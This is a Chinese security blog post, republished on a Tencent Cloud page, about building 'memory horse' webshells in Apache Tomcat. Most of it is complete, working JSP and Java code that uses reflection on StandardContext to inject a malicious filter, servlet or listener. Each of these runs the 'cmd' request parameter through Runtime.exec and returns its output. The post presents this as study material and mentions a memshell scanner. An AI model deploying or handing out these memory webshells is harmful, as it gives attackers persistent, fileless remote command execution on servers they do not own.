Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >请问您今天要来点兔子还是内存马呢?

请问您今天要来点兔子还是内存马呢?

作者头像
辞令
发布于 2020-12-22 06:45:08
发布于 2020-12-22 06:45:08
60900
代码可运行
举报
文章被收录于专栏:WhITECat安全团队WhITECat安全团队
运行总次数:0
代码可运行

兔子的种类有四种,大兔子、小兔子、肥兔子、瘦兔子。其中肥兔子的头最好吃。

内存马的形式有三种,filter、servlet、listener,优先级为listener>filter>servlet。

最近超级无敌忙,差点又忘了自己有个公众号。

发一篇库存大家一起学习一下叭。

filter内存马

直接本地复现。

pom.xml中加入。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 配置Filter的类路径
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.1.0</version>
        </dependency>

        配置HelloFilter拦截的Servlet的映射路径
        <!-- https://mvnrepository.com/artifact/jstl/jstl -->
        <dependency>
            <groupId>jstl</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
        </dependency>

否则新建不了filter。

新建一个filter类。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package study;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

@WebFilter(filterName = "Filter")
public class Filter implements javax.servlet.Filter {
    public void destroy() {
        System.out.println("destroy");
    }

    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req1 = (HttpServletRequest) req;
        if (req1.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req1.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
            return;
        }
        chain.doFilter(req, resp); //放行
    }

    public void init(FilterConfig config) throws ServletException {
        System.out.println("init");
    }

}

在web.xml加入过滤器filter以及filter-mapping。

这里就是指定需要拦截的内容。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# 对应filterDefs
<filter>
    <filter-name>FirstFilter</filter-name>
    <filter-class>study.Filter</filter-class>
</filter>

# 对应filterMaps
<filter-mapping>
    <filter-name>FirstFilter</filter-name>
    <url-pattern>/yodidi</url-pattern>
</filter-mapping>

运行tomcat,就可以生成filter的内存马。

在servlet3.0开始。

提供了动态注册filter、Servlet。

先看filter如何被添加。

addfilter方法源自org.apache.catalina.core.ApplicationContextFacade。

追踪addfilter方法。

442行判断context容器的状态。

如果不是before_start即初始化状态。

就会报错。

但是这里addFilter主要还是新建了一个filterDef。

然后调用449行的this.context.addFilterDef(filterDef)用反射方式进行添加。

tomcat的filter的创建源自StandardWrapperValve的createFilterChain方法。

跟进createFilterChain方法。

首先先从StandardContext对象中获取filterMaps 。

然后循环遍历filterMaps。

filterMaps有自己加进去的过滤器(/yodidi)。

最后再添加到filterChain(过滤链)。

方法返回filterChain。

当构造好了filterDef。

但是并没有把它加进filterMaps里。

这里进行手动添加进filterMaps。

(filterDefs存放了filter的定义,比如名称跟对应的类)。

standardContext.addFilterMapBefore()这个方法是将创建的filterMap放置在第一位。

如果不在第一位。

可能网站原有的其他过滤器根据filterChain过滤链从头到尾执行的顺序。

所以放到最前面是有必要的哦!

跟进addFilterMapBefore。

跟进addBefore。

能看到利用了arraycopy进行了数组的复制。

arraycopy直接将传入的filterMap放在了首位。

还需要一步。

将filter添加进filterConfigs当中。

(filterConfigs除了存放了filterDef还保存了当时的Context)。

而这里。

可以在StandardContext#filterStart看到遍历了filterDefs当中filterName。

然后把对应的name添加到filterConfigs。

那就可以在构造器实例化的时候。

把filterConfig 加入到 filterConfigs 当中。

方法还是反射。

完整jsp代码生成内存马在后面。

servlet内存马

新建一个servlet类。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package study;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class servletDemo implements Servlet {

    public void init(ServletConfig servletConfig) throws ServletException {    }

    public ServletConfig getServletConfig() {
        return null;
    }

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    public String getServletInfo() {
        return null;
    }

    public void destroy() {}
}

在web.xml中加入。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<servlet>
  <servlet-name>servletDemo</servlet-name>
  <servlet-class>study.servletDemo</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>servletDemo</servlet-name>
  <url-pattern>/yodidi3</url-pattern>
</servlet-mapping>

运行tomcat,即可生成servlet的内存马。

tomcat的一个Wrapper代表一个Servlet。

而之前在动态加载filter的时候。

通过standardContext里的addFilterDef以及addFilterMap来完成了filter的动态添加。

这里standardContext的createWrapper方法也能进行Wrapper的动态添加。

新建的Wrapper对象并不在StandardContext的children里。

我们可以通过StandardContext#addChild 把它加到 StandardContext 的children里。

完整jsp代码生成内存马在后面。

①用jsp进行注入listener内存马

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%
    Object obj = request.getServletContext();
    java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
    //获取ApplicationContext
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    //获取StandardContext
    ListenerDemo listenerdemo = new ListenerDemo();
    //创建能够执行命令的Listener
    standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
    public class ListenerDemo implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("requestDestroyed");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("requestInitialized");
            try{
                String cmd = sre.getServletRequest().getParameter("cmd");
                Runtime.getRuntime().exec(cmd).getInputStream();

            }catch (Exception e ){
                //e.printStackTrace();
            }
        }
    }
%>

访问jsp会产生内存马。

如图:

访问之前。

执行命令失败辽。

?cmd=open/System/Applications/Calculator.app/Contents/MacOS/Calculator

访问之后。

再次执行命令

②用jsp进行注入filter内存马

大致流程如下:

  1. 创建恶意filter。
  2. 用filterDef对filter进行封装。
  3. 将filterDef添加到filterDefs与filterConfigs中(获取filterDef为filterConfig,将filterConfig添加进filterConfigs)。
  4. 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Field" %>

<%!
    // 创建恶意filter类
    Filter filter = new Filter(){
                    @Override
        public void init(FilterConfig arg0) throws ServletException {
        }

                    @Override
        public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
                throws IOException, ServletException {

            HttpServletRequest req = (HttpServletRequest) arg0;
            if (req.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                arg1.getWriter().write(output);
                arg1.getWriter().flush();
                return;
            }
            arg2.doFilter(arg0, arg1);
        }

                    @Override
        public void destroy() {

        }};
%>


<%
    FilterDef filterDef = new FilterDef();
    String didi = "yodidi1filter";

    // 用filterDef对filter进行封装
    filterDef.setFilterName(f0ng);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);

    // 获取context
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 将filterDef添加到filterDefs
    standardCtx.addFilterDef(filterDef);

    // 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中
    FilterMap m = new FilterMap();
    m.setFilterName(filterDef.getFilterName());
    m.setDispatcher(DispatcherType.REQUEST.name());
    m.addURLPattern("/yodidi1");


    // 通过反射,在构造器实例化的时候把 filterConfig 加入到 filterConfigs 当中
    // 通过反射获取filterConfig对象
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardCtx, filterDef);

    // 通过反射获取filterConfigs对象
    Field field = StandardContext.class.getDeclaredField("filterConfigs");
    field.setAccessible(true);
    HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>)field.get(standardCtx);
    filterConfigs.put(didi, filterConfig);
%>

访问jsp即会产生内存马。

没访问jsp之前。

(这里用到的工具来源?https://github.com/c0ny1/java-memshell-scanner)

访问jsp以后。

恶意filter出来辽。

命令执行完成。

③用jsp进行注入servlet内存马

大致流程如下:

  1. 创建恶意Servlet
  2. 用Wrapper对其进行封装
  3. 添加封装后的恶意Wrapper到StandardContext的children当中
  4. 添加ServletMapping将访问的URL和Servlet进行绑定
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 创建恶意Servlet
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    %>
<%
    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对其进行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("yodidi");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);

    // 添加ServletMapping将访问的URL和Servlet进行绑定
    standardCtx.addServletMapping("/l1nk3r","yodidi");
%>

访问jsp即会产生内存马!

访问之前。

访问之后。

恶意servlet就出来了!

盘点一下遇到的坑:

1.在进行jsp的filter注入内存马的时候。

在构造器实例化的时候把filterConfig加入到filterConfigs当中。

需要进行反射获取到filterConfigs。

当然filterConfig也需要通过反射获取。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardCtx, filterDef);
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Field field = StandardContext.class.getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>)field.get(standardCtx);

2.会遇到Unable to compile class for JSP报错。

美女的第一反应当然是百度搜索的,但是百度搜出来的全部没用(无情诋毁一波)。

有说标签的,有说jdk版本的,切换来切换去,还是没解决问题。

后来仔细看报错,嘻嘻发现报错信息是import了一个package,删去就可以了。

3.如果需要调试Tomcat的话,在pom.xml中加入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-catalina</artifactId>
  <version>8.5.3</version>
  <scope>provided</scope>
</dependency>

辣就不需要用本地的Tomcat了

4.这里大佬的工具好像只能查杀Servlet和filter的,对于listener的内存马没有处理办法,会不会listener的内存马更为隐蔽,这个问题还需要后面再去学习学习。

放上参考?(我是一个好孩子):

https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474966&idx=1&sn=1c75686865f7348a6b528b42789aeec8&chksm=f2582de5c52fa4f30bdccbf8263c53c1d034a3d34efdce180ae6eb0b007e84bac53d1c713e58&mpshare=1&scene=24&srcid=1203mPmLiRrx7jwKjUnHj7Oj&sharer_sharetime=1606965116595&sharer_shareid=29bf660e8cd9bc3e5265cd30046762d4#rd

https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w

http://foreversong.cn/archives/1547

另外:我们组招人辽!!社招也要!大佬们找我投简历哇!

请多多指教

peko!!!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 WhITECat安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Android架构之路--热更新Tinker(上)
当前市面的热补丁方案有很多,其中比较出名的有阿里的 AndFix、美团的 Robust 以及 QZone 的超级补丁方案。但它们都存在无法解决的问题,这也是正是最后使用 Tinker 的原因。先看一张图对比:
conanma
2021/09/04
1.9K0
Android热更新利器Tinker接入
基准包 例如有一个版本A,但是这时A是有Bug的,然后修复Bug后的生成的版本我们称为B。A和B之间的区别产生一个差分包(这里也称为补丁包),那么我们就可以说这个差分包是以A作为基准包相对B生成的。 基本步骤 1、注册Tinker账号并新建项目 2、配置gradle和代码 3、生成基准包 4、修复Bug 5、生成补丁包 6、发布补丁包 Tinker做了什么 1、1-2步是APP开发的基本步骤,完成1-3步,那么你的APP就集成了Tinker。 集成Tinker后,Tinker会根据各个版本的配置信息去自动加
用户1269200
2018/03/26
1.3K0
Android热更新利器Tinker接入
Android热更新之微信Tinker集成(接入Bugly热更新)
最近公司项目中需要集成热更新功能,由于刚开始接入的时候踩了很多坑,所以现在记录一下集成的过程.
SoullessCoder
2019/08/07
2.1K0
Android热更新之微信Tinker集成(接入Bugly热更新)
【Android】热修复——Tinker(入门)
前言 不知你是否遇到这样的情况?千辛万苦上开发了一个版本,好不容易上线了,突然发现了一个严重bug需要进行紧急修复,怎么办?难道又要重新打包App、测试,发布新个版本?就为了修改一两行的代码? 莫慌,这种问题其实可以分分钟解决。如果你学会了这项黑科技——热修复。 在用户使用App的时候,不知不觉,这个Bug就被修复了。 莫慌 热修复:热修复(也称热补丁、热修复补丁,英语:hotfix)是一种包含信息的独立的累积更新包,通常表现为一个或多个文件。这被用来解决软件产品的问题(例如一个程序错误)。——维基
Gavin-ZYX
2018/05/18
3.4K3
章鱼抓娃娃添加Bugly-Tinker热更新支持
Bugly热更新采用Tinker开源方案,官方文档如下: Bugly Android热更新使用指南 Bugly Android热更新详解
冰之角
2019/03/06
8800
Tinker-使用教程与原理分析(上)
前面我们讲解了AndFix的使用,这篇我们来讲解下微信的Tinker热修复,相比AndFix,Tinker的功能更加全面,更主要的是他支持gradle。他不仅做到了热修复更实现了“热更新”。既然他这么强大,下面我们就来了解他是如何使用的。
g小志
2018/09/11
1.9K0
Tinker-使用教程与原理分析(上)
Android 热更新 Tinker 集成配置【详细】
Tinker 是微信官方的 Android 热补丁解决方案,它支持动态下发代码、So 库以及资源,让应用能够在不需要重新安装的情况下实现更新。
ppjun
2018/09/05
1.6K0
Android 热更新 Tinker 集成配置【详细】
微信热修复tinker初探
前言 Tinker简介 Tinker是微信官方的Android热补丁解决方案,它支持动态下发代码、So库以及资源,让应用能够在不需要重新安装的情况下实现更新。当然,你也可以使用Tinker来更新你的插件。 Tinker已知问题 1) Tinker不支持修改AndroidManifest.xml,Tinker不支持新增四大组件; 2) 由于Google Play的开发者条款限制,不建议在GP渠道动态更新代码 3) 在Android N上,补丁对应用启动时间有轻微的影响; 4) 不支持部分三
用户1665735
2018/06/20
2K1
【详细】Android热更新Bugly集成配置
上一篇文章说道tinker的热更新,可是少了点补丁包的管理,这一篇文章介绍的bugly就是增强版的,更加方便你集成tinker和包括了补丁包的后台管理。 为什么使用 Bugly 热更新?
ppjun
2018/09/05
1.1K1
【详细】Android热更新Bugly集成配置
【Android】Walle多渠道打包&Tinker热修复
Walle 介绍 Walle(瓦力):Android Signature V2 Scheme签名下的新一代渠道包打包神器。 瓦力通过在Apk中的APK Signature Block区块添加自定义的渠道信息来生成渠道包,从而提高了渠道包生成效率,可以作为单机工具来使用,也可以部署在HTTP服务器上来实时处理渠道包Apk的升级网络请求。 ——来自 Walle 使用 使用Walle生成多渠道的速度是很快的,原来的项目打一个包就需要两分钟多,每次发布打7个包需要十几分钟。用了Walle后,7个包只要两分钟左右
Gavin-ZYX
2018/05/18
1.4K0
Bugly 多渠道热更新解决方案
Gradle使用productFlavors打渠道包的痛 有很多同学可能会采用配置productFlavors来打渠道包,主要是它是原生支持,方便开发者输出不同定制版本的apk,举个例子: android { ... defaultConfig { minSdkVersion 8 versionCode 10 } productFlavors { flavor1 { packageName "com
腾讯Bugly
2018/03/23
1.6K0
【云+社区年度征文】让移动开发更简单,集成异常上报、运营统计与应用升级
做移动开发最麻烦的就是收集用户在使用过程中的程序的异常崩溃日志,因为这个异常崩溃是无征兆的在毫无防备随时的出现,所以有时候真是丈二金刚(摸不着头脑);这个还是其次要命的是用户端程序的每次迭代和版本的分布又不容易推送和获取。
谭广健
2020/12/19
7500
乐固加固FAQ
加固过程中会破坏apk的签名文件,此时直接安装时会出错,找不到签名。因此需要重新签名,重签名后的apk签名文件和原来的保持一致就不会影响更新应用。
腾讯云@移动安全
2018/05/25
16.6K8
乐固加固FAQ
Bugly热更新SDK你需要知道的一些事
Bugly出热更新SDK了? 没错,Bugly也出热更新SDK啦,2016.11.25号,我们Bugly也上线了Android版的热更新SDK,大家都知道这一年来热更新被无数次提起,各大厂自主研发的热更新方案层出不穷,下面就列举一些大家比较熟悉的一些热更新方案: 微信开源:Tinker 大众点评:Nuwa 阿里巴巴:Dexposed 阿里巴巴:AndFix 美团:Robust 各个方案的优劣性笔者就不在这里做过多讨论了,总的一句话没有最好的,只有最适合自己的。 我们Bugly也是出于高可用性的考虑,Tink
巫山老妖
2018/07/20
1.6K0
Android开发笔记(一百一十四)发布工具
因为app开发者常常需要统计app在不同渠道的使用量,所以app安装包就得按照不同的渠道号分别打包。至于为什么要进行使用量的统计,可参见《Android开发笔记(一百零七)统计分析SDK》,现在我们以友盟统计为例,演示一下如何在Eclipse环境实现多渠道打包的功能。 代码工程导入了友盟统计分析的sdk后,还需在AndroidManifest.xml中定义当前发布包的渠道号,如下所示:
aqi00
2019/01/18
1.1K0
Tinker-自定义扩展与流程分析(下)
上一篇我们讲解了Tinker的使用,现在我们讲解下一些功能的扩展与从源码角度查看流程分析。
g小志
2018/09/11
8080
Tinker-自定义扩展与流程分析(下)
Android 新一代多渠道打包神器
李涛
2017/04/21
6.5K2
Android 新一代多渠道打包神器
开发工具总结(8)之图文并茂全面总结上百个AS好用的插件(下)
上篇文章介绍了一至七条,由于篇幅过长,这里分为上下两篇讲解,这里截取的是剩下的从第八条开始一直到结尾的那一部分。查看上篇文章请点击 开发工具总结(1)之图文并茂全面总结上百个AS好用的插件(上)。
AWeiLoveAndroid
2018/09/03
1.7K0
开发工具总结(8)之图文并茂全面总结上百个AS好用的插件(下)
【Android 热修复】运行 Tinker 官方示例 ( 处理 TINKER_ID 问题 | 编译 debug 包 | 修改 Gradle 脚本 | 生成 patch 包 | 热修复 )
Tinker 官方代码示例 : https://github.com/Tencent/tinker/tree/dev/tinker-sample-android
韩曙亮
2023/03/29
7560
【Android 热修复】运行 Tinker 官方示例 ( 处理 TINKER_ID 问题 | 编译 debug 包 | 修改 Gradle 脚本 | 生成 patch 包 | 热修复 )
Android使用Ant进行apk多渠道打包
Android使用Ant进行apk多渠道打包 前言: Ant 是什么? 详细介绍请看http://ant.apache.org/ 总之一句话:Ant是一个Apache基金会下的跨平台的构件工具,它可以实现项目的自动构建和部署等功能。 准备工作: android sdk中默认支持使用ant来执行编译动作。但是要想使用ant来进行编译,还需要ant的执行环境。 为了能顺利使用ant来编译,我们需要如下准备: 1,android sdk,最简单的是下载一个adt bundle即可; 2,ant包,下载链接:htt
用户1289394
2018/02/26
9510
推荐阅读
相关推荐
Android架构之路--热更新Tinker(上)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验